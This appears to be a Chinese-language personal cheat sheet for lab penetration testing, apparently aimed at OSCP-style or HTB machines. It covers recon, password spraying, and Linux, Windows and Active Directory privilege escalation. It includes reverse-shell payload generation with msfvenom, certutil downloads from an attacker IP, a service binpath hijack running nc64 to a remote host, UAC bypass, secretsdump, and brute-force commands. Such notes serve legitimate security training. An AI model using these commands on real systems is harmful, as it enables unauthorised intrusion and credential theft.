

包包的解題思路

既使走過的路，每當事情有了變化，都要重新檢視，說不定當初不可利用的服務，在某階段，可以再次利用

flag的截圖指令要正確喔

```
hostname && whoami && cat proof.txt && ip a
hostname && whoami.exe && type proof.txt && ipconfig /all
```

提權反彈shell如果都不行，那就改成建立帳號 有時候檔案明明有修改權限，但不能修改，就嘗試刪除，在建立看看

偵查

靶機如果有問題，卡關了，可以嘗試重置主機。 如果有host name請記得加入 /etc/hosts

使用rustscan粗略掃描 → nmap詳細掃描 → 掃描udp port 使用漏洞腳本掃描 --script=vuln

使用 port號、服務版本 → 找漏洞，版本資訊很重要 遇到奇怪的port建立使用 nc -v 以及 curl 確認一下 如果有proxy服務，就很可能需要掛proxy掃描工具才能找到隱藏目標 ftp、SMB 雖然可以匿名登入，有時候還是要多測試簡易帳密登入，可能會看到不一樣的東西 不管什麼服務/檔案，都要上網查一下版本有沒有漏洞，常常會忘記檢查ftp跟web跟ssh的服務版本 不要放過任何可疑的關鍵字。有時候路徑也可以當關鍵字

看到可疑檔案，請不要忽略，一略使用exiftool,strings,file檢查一輪，必要時也能丟到windows電腦測試看看

[網頁偵查](#)

入侵

找漏洞的關鍵字很重要，多嘗試不同的關鍵字 腳本要注意URL參數後面要不要帶入 /，而且漏洞的腳本路徑通常要改 漏洞程式，要閱讀程式碼，在仔細使用，不行就再找過其他，或者參考漏洞程式，改手動攻擊，如果不成功，可以多測試幾次，有些攻擊是第二次才會成功，有時候攻擊比較久，需要等待 如果反彈shell一直失敗，就先使用whoami或者簡單nc或者curl/wget測試，或者查看是不是沒有安裝nc，先確保可以RCE再反彈，或者要確認payload權限 反彈shell失敗，也可以建立執行檔，下載到目標，在遠端執行，也有可能是webshell的權限問題，可能要給執行權限。 既使不能正常的反彈，也要查看能不能偷什麼資料 內網的機器不一定能反彈到kali，這時候可能需要使用MS01來做port forward來轉發，或者反彈shell的port要多測試 遇到檔案上傳失敗，也要測試看看，有時候說不定還是有成功上傳，並且要找出上傳的地方，很有可能在其他port服務 有時候攻擊會失敗，就改成兩段式，第一次先下載payload，第二次執行payload 有時候程式執行失敗，很可能是32位元/64位元問題 如果上傳存在，請嘗試ntlm-theft 如果網站檔案可以透過 htdocs 等訪問，則嘗試透過symlink或直接上傳 shell.php。 如果使用ftp上傳exe檔案，請使用binary模式

發現的任何檔案，都有可能成為日後利用的，始終都要放在心上

有時候RCE怎樣都失敗，就要採取其他方式，分階段，或者設法傳送反彈的執行檔案到目標，在簡單的執行 有時候找不到突破口，可能也要想像有沒有其他出路，切到其他服務，組合技，或者使用其他帳號偵查

Umbraco 機敏檔案為 .sdf iis有時候可以使用 web.config 來達到RCE

有時候漏洞標題不一定有RCE關鍵字，通常都還要看內容才知道用途

exiftool+惡意圖片

入侵成功後，什麼指令都無法執行的時候，請檢察PATH環境變數

密碼

有了新帳密，任何的登入可能都必須要嘗試看看，不然認為障密只能使用在單一服務。 千萬要記得取得新帳密，一切都要從頭開始在列舉一次，包含之前登入過的網頁/之前登入過的服務，以及使用新帳號重新列舉。 永遠也要記得就算不能登入，也要拿來使用在其他地方。反之，如果遇到服務需要登入，切記把手頭上的所有帳密都要嘗試一輪。 有時候有了障密，不能登入win，也要嘗試有沒有smb方式執行RCE(每種橫移方式都嘗試) 帳號如果登入失敗，可以把帳號開頭替換大寫，密碼如果有日期，也可以修改一下。或者是帳號可能要加上信箱之類的。 密碼收集&重複使用(就算是資料庫帳密也能測試root)&簡單使用(帳號跟密碼相同) 或者密碼很像日期的，可以建議改日期看看 如果有帳號，不知道密碼，就使用簡單密碼，或者帳號/帳號測試一下 有時候密碼是空的，也請嘗試 如果密碼不能破解，那就看是否能串改 使用cewl產生密碼檔 使用字典檔需要挑選一下 最後就是使用 rockyou 爆破 在進行密碼噴灑之前，要先確認目標開啟了那些port，千萬別盲目的噴灑

密碼破解請記得使用 -r 指定rule 或者 --rules

提權

提權：有時候初始入侵後，可能要再利用當初掃port的服務，放上payload反彈來提權 有時候要根據帳號名稱，來推測目標有哪些服務，但是帳號名稱不一定侷限用來登入系統，很可能也能用來登入服務(資料庫/網頁/SMB/FTP等等) 系統檢查別忘了檢查 - 環境變數

有時候每個帳號看到的/tmp不一定是相同的，當A帳號放檔案，B帳號看不到，可能就要多嘗試其他的路徑，例如 /var/tmp

對於windows打法，一定要徹底執行SMB,LDAP,RPC列舉，方法很多，一定要徹底執行。打windows必要的就是 列舉SMB → enum4linux → namp列舉ldap → ldapsearch → rpcclient 打windows記得有時候一個\可能不行，就要改成\\ 兩個反斜線

有時候打進來的低權限，記得要回頭找之前的服務，看能不能再利用來提權

使用find指令找出來的檔案，如果日期很近，通常是考題 檢查 env_keep+=LD_PRELOAD

設定檔，有時候可以觀察process取得 有時候腳本會指定路徑，我們要想辦法繞過限制(跨路徑)

執行奇怪的程式，也能使用pspy來觀察程序

不能ssh也要嘗試sudo或者其他服務

就算是SUID 不只使用gofobin找，也要上網google找

Linux

2.檢查自己的群組/sudo/SUID/getcap(cap_setuid=ep) 1.注意有哪些服務，就去收刮所有服務的設定檔 2.檢查每個人的home目錄(包含自己的)，.ssh底下的每個檔案，指令紀錄，奇怪檔案(使用strings、--help、工具檢查) 3.使用自動化腳本列舉(仔細閱讀輸出) 4.檢查每個人的信箱&信箱目錄 5.找到python腳本，通常也檢查相關lib或者python套件是否有漏洞可用，同樣也適用其他語言 檢查root有啟動那些程序/服務(檢查相關設定) 使用pspy檢查程序排程 /etc/cron.d 底下的每個檔案都要檢查內容，有可能藏在這裏面 檢查可寫入的檔案有哪些 檢查能不能修改某些服務的設定檔，改權限啟動，進而提權 如果可以修改apache設定檔，將apache利用其他帳號啟動，也可以達到提權效果 SUID/SUDO提權 sudo提權，要注意有沒有NOPASSWD，以及使用 -u 帳號，等等方式變化不同的提權 檢查有沒有 LD_LIBRARY_PATH 的寫入權限 → 產生 .so檔 放到目標路徑

服務看能不能換其他帳號執行 檢查服務執行的程式，是否有權限修改

如果有ssh權限，但不能執行，也可能可以拿來做通道/傳檔案

檢查fail2ban檔案

crontab 也能提權喔 (gtfobins方法不完全)

```
$ sudo crontab -e
:set shell=/bin/sh
:shell
# id
```

核心漏洞 dirtycow 2 CVE [2016-5195](#) 40839 要注意 /tmp 被設定了 nosuid 跟 noexec 。表示/tmp底下的檔案都不能被設定為 SUID 跟 執行。Idd 可以檢查library相依

目錄沒有讀取權限，也說不定要猜測一下目錄的檔案，只要有執行權限，就能讀取資料夾內的檔案，但必須要知道檔案名稱

Win

找到服務提權(沒有引號+空白路徑的服務，或者服務路徑可寫入，或者服務設定可寫入)，同時檢查能不能 重啟服務/設定服務/重新開機 找安裝那些軟體(通常安裝的其他服務就是有問題)，檢查軟體寫的log，查看設定檔案，查版本找漏洞 檢查DDL挾持

檢查登錄表 密碼列舉的指令 如果xp_cmdshell不能用，可能需要提升權限，或者改用xp_dirtree+responder途徑 檢查 AlwaysInstallElevated

可以提權的特權: SeImpersonatePrivilege: 使用 PrintSpoofer 或各種馬鈴薯 SeManageVolumePrivilege : 可任意寫入檔案 (使用 tzres.dll + systeminfo) SeLoadDriverPrivilege : 透過載入易受攻擊的驅動程式並利用它來進行濫用。參考HTB: Fuse SeBackupPrivilege : 來讀取任意文件。參考HTB: Blackfield SeMachineAccountPrivilege : 允許將一台機器添加到AD中。

可提權的群組: Server Operators : 僅存在於網域控制器上的內建群組。預設情況下，該群組沒有成員。伺服器操作員可以互動式登入伺服器；建立和刪除網路共享；啟動和停止服務；備份和恢復檔案；格式化電腦硬碟；並關閉計算機。預設使用者權限: 允許本機登入：SeInteractiveLogonRight 備份檔案與目錄：SeBackupPrivilege 變更系統時間：SeSystemTimePrivilege 變更時區：SeTimeZonePrivilege 從遠端系統強制關閉：SeRemoteShutdownPrivilege 還原檔案與目錄 SeRestorege 從遠端系統強制關閉：

SeRemoteShutdownPrivilege 還原檔案與目錄 SeRestorege

帳號之間的橫移，從低權限的帳號橫移到高權限，可以使用runas，或者以管理身分開啟cmd，輸入高權限的帳密

AD

打AD都要先找出domain名稱，並且記得加入hosts 每當有發現新帳號，記得整理帳號清單/密碼清單，然後別忘記加入預設的帳號例如 administrator,root之類的，然後再不斷的噴灑 如果DC對外，就可以直接進行攻擊，或者暴力列舉 如果CME出現 STATUS_ACCOUNT_RESTRICTION 通常表示 NTLM 被停用，需要使用 Kerberos 進行身份驗證，請加上 -k 參數。取得人名可以使用 username-anarchy工具排列組合成帳號清單(AD常見格式) 列舉LDAP，留意每個屬性，尤其是description 有了新帳號還是得要重複列舉帳號，有時候初始列舉會有遺漏

後利用

列舉所有可能的機敏資料 使用mimikatz，peas，bloodhound等自動化工具 馬鈴薯提權，如果無法彈shell，那就改成新增管理帳號

其他

遇到base64可能要解碼兩次以上 (或者base64key解碼)

每次取得新帳密，重複列舉(SMB/網頁登入/AD資訊收集) 有時有ssh金鑰不能登入，也說不定可以拿來做通道，或者scp使用 發現軟體都要檢查版本看看有沒有漏洞，相關lib也可能有漏洞 使用ftp傳送檔案，有時候要使用binary模式 zip檔案有時候要使用7zip解壓縮 如果真的不行就是tcpdump看看帳密是不是藏在網路流量中

有的時候攻擊是組合技，找到什麼檔案，找到什麼特殊權限，找到什麼軟體，一起組合成功攻擊

確認檔案權限時，都要把手頭上的帳號，都反覆確認

指令串接，也可以使用 # 字來繞過限制，參考 Wheels 靶機

如果有圖片，可以測試隱寫術

補充

如果.NET使用iLspy或dnspy或dotpeek 如果zip檔使用evilarc進行路徑遍歷

弱密碼

常用的設定檔路徑

UAC <https://github.com/dotfornet/UACME>[[s://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control](https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control)](<https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control>)

```
<https://github.com/dotfornet/UACME>

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.4.72.241 LPORT=4444 -f exe -o shell.exe

certutil -urlcache -f <http://10.4.72.241/shell.exe> C:\tools\shell.exe

UACME-Akagi64.exe 52 cmd.exe

C:\tools\UACME-Akagi64.exe 33
C:\tools\UACME-Akagi64.exe 41 C:\tools\shell.exe
```

```
sc.exe config VSS binpath="C:\programdata\nc64.exe -e cmd 10.10.14.6 443"
sc.exe config VSS binpath="C:\windows\system32\cmd.exe /c C:\programdata\nc64.exe -e cmd 10.10.14.6 443"
```

```
systeminfo
whoami /priv
```

```
net user /domain
net user fsmith /domain
smbclient -L 10.10.10.175 -U "Egotistical-bank.local/fsmith"
impacket-secretsdump -just-dc-ntlm Egotistical-bank.local/fsmith:'Thestrokes23'@10.10.10.175
cmdkey /list
cat (Get-PSReadlineOption).HistorySavePath
type C:\Users\<<<帳號>>>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```

Get-ADPrincipalGroupMembership support

```
gcc -m32 -w -fPIC -shared -o exploit payload.c
```

```
hydra -C /usr/share/wordlists/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt <ftp://192.168.235.183>
```

```
<http://joomla/README.txt>
<http://xxxxxxxxx/osclass/CHANGELOG.txt>
```

資料庫帳號密碼hash無法破解，也嘗試看看能不能自行新增
Joomla利用樣板反彈
路徑的重要性

上網查 `2y\$10\$` 開頭應該是 php BCrypt 加密
<<https://www.php.net/manual/zh/function.password-hash.php>>
使用以下工具，建立一個密碼hash
<<https://newfreetool.com/en/password-hash>>

使用vi編輯器來逃脫受限制的shell環境

```
tom@DC-2:~$ vi
:set shell=/bin/bash
:shell
```

```
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
```

SSH暴力登入

```
sudo patator ssh_login host=10.10.10.76 port=22022 user=sunny password=FILE0 0=/usr/share/wordlists/rockyou.txt persistent=0 -x ignore:fgrep='failed'
```

```
pip3 list
docker-inspect
```

```
hydra -C tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/html
```

傳送檔案記得要先使用binary

🕒修訂版本 #1

★由 treeman 建立於 4 🕒 2024 19:34:44

🔧由 treeman 更新於 4 🕒 2024 19:35:09